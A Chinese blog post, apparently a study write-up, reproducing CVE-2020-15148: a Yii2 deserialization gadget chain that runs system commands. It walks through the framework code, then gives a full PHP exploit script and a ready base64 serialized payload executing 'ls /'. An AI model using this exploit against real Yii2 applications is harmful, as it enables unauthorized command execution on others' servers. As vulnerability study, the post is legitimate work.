前言:

phpthink 的链子有点长 暂时先复现一下简单点的框架,跟着师傅们的思路学习一下,提高一下自己的代码审计能力,搞完这个复现 也该去学java了

源码地址:https://github.com/yiisoft/yii2/releases/download/2.0.37/yii-basic-app-2.0.37.tgz

该漏洞适用于YII2.0.38之前,用户如果可以控制unserialize的传入值,则可以进行远程代码执行。

环境用的是PHPstudy。 需要 修改config\web.php中cookieValidationKey为任意值,作为yii\web\Request::cookieValidationKey的加密值,不然会发送报错。

CVE-2020-15148漏洞复现

一般的反序列化链子 都会以魔术方法 __destruct 作为起点来找利用点   这个漏洞也是的。 全局搜索 __destruct ,对于这个魔术方法 有很多文件都有, 只能一个一个去找利用点 去探索了。

其实开查找 也挺方便的 直接 CTRL + 左键 ,最终找到 /vendor/yiisoft/yii2/db/BatchQueryResult.php  reset() 方法可以利用 这会又可以调用 _dataReader下的close方法。

class BatchQueryResult{
    private $_dataReader;
         
   public function __destruct()
    {
        // make sure cursor is closed
        $this->reset();
    }    public function reset()
    {
        if ($this->_dataReader !== null) {
            $this->_dataReader->close();
        }
        $this->_dataReader = null;
        $this->_batch = null;
        $this->_value = null;
        $this->_key = null;
    }
}

而这里的 $_dataReader 是可控的 ,那么我们就可以联想到__call 方法,让_dataReader 成为一个类 去调用 __close() ,如果该类中没有__close 方法,就会自动调用__call方法。

__call : 在对象中调用一个不可访问方法时,__call会被调用。

继续 全局搜索__call ,找到   一条错误的链子( 可以跳过,直接去看我下面正确的链子)

错误的链子查找:

src\Codeception\Util\Maybe.php中的 __call方法()
    public function __call($method, $args)
    {
        if ($this->val === null) {
            return new Maybe();
        }
        return call_user_func_array([$this->val, $method], $args);
    }

think : 这个 val 可控,但是我们调用的 close()方法是无参的 这里的 $method应该是 close方法,而$args  应该是空,所以 这条链子应该是用不了的 (如果我说错了,请各位师傅纠正我一下,因为我是真的菜)

正确的链子:

继续全局找 __call()  ,找到 src/Faker/Generator.php 可以看到:

    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }

跟进一下这个 $this ->format()

src/Faker/Generator.php

    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

call_user_func_array(callable $callback, array $args): mixed

把第一个参数作为回调函数(callback)调用,把参数数组作(args)为回调函数的的参数传入。

这里是call_user_func_array直接出来了 ,跟进一下这个

$this->getFormatter($formatter)
    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

进入第一个 if 判断,如果 $this - > formatters[$formatter] 有值,就返回其值,

call_user_func_array的第二个 $arguments 的值,我们无法控制,默认为空数组,但是可以控制call_user_func_array的第一个参数,这样我们就可以通过它作为跳板去无参调用其它类的方法。

所以我们能够做到的只有两个办法,一个就是调用 yii2 中的无参方法,或者调用 原生类php 的类似 phpinfo() 这样的无参方法,但是肯定事不能RCE的,所以我们的思路是要调用Yii框架中的无参的 call_user_func_array 作为跳板 再次调用执行。

例如:

<?php
 
namespace Foobar;
 
class Foo {
    static public function test($name) {
        print "Hello world!\n";
    }
}
 
 
call_user_func_array(array(new Foo, 'test'), array());
       # 调用 Foo类中的 test方法 输出 "hello world"
?>

但是有个问题, 无参的参数实在是太多了,一个一个找肯定费时费力,这就要学习一下其他师傅的高深只会,直接 用正则匹配来搜索含有 call_user_func_array的方法

全局搜索进行正则匹配call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)

找到 /vendor/yiisoft/yii2/rest/CreateAction.php     这样就一目了然了

    public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }        return $this->prepareDataProvider();
    }

恰好恰好的是 ctrl +左键可以点击 check Access 和 id  刚好这两个值是可控的,那么链子就可以连上了!

总结一下此条链子的利用:

yii\db\BatchQueryResult::__destruct()
->
Faker\Generator::__call()
->
yii\rest\CreateAction::run()

我的EXP:

<?php
namespace{      //控制器传参入口
 
    use yii\db\BatchQueryResult;
 
    echo base64_encode(serialize(new BatchQueryResult()));
}namespace yii\db{
    use Faker\Generator;
class BatchQueryResult{
    private $_dataReader;
    
    public function __construct()
    {
        $this->_dataReader =new Generator();
    }
    }
}namespace Faker{    use yii\rest\IndexAction;
    class Generator{        protected $formatters;
        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run']; #此处调用 IndexAction类中的 run方法
        }
    }
}namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct()
        {   
            $this->checkAccess = 'system';
            $this->id = 'ls /';
        }
    }
}
//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6NDoibHMgLyI7fWk6MTtzOjM6InJ1biI7fX19fQ

yii 2.0.37以后的版本更新的链子  上课摸鱼的时候再审,现在我要去搞java了..晚会再更后面版本的写到这里

总结:

链子还是挺短 挺简单的,就是需要灵活利用魔术方法,还有回调函数. 学到了

点赞(1) 打赏

评论列表 共有 0 条评论

暂无评论

微信小程序

微信扫一扫体验

立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部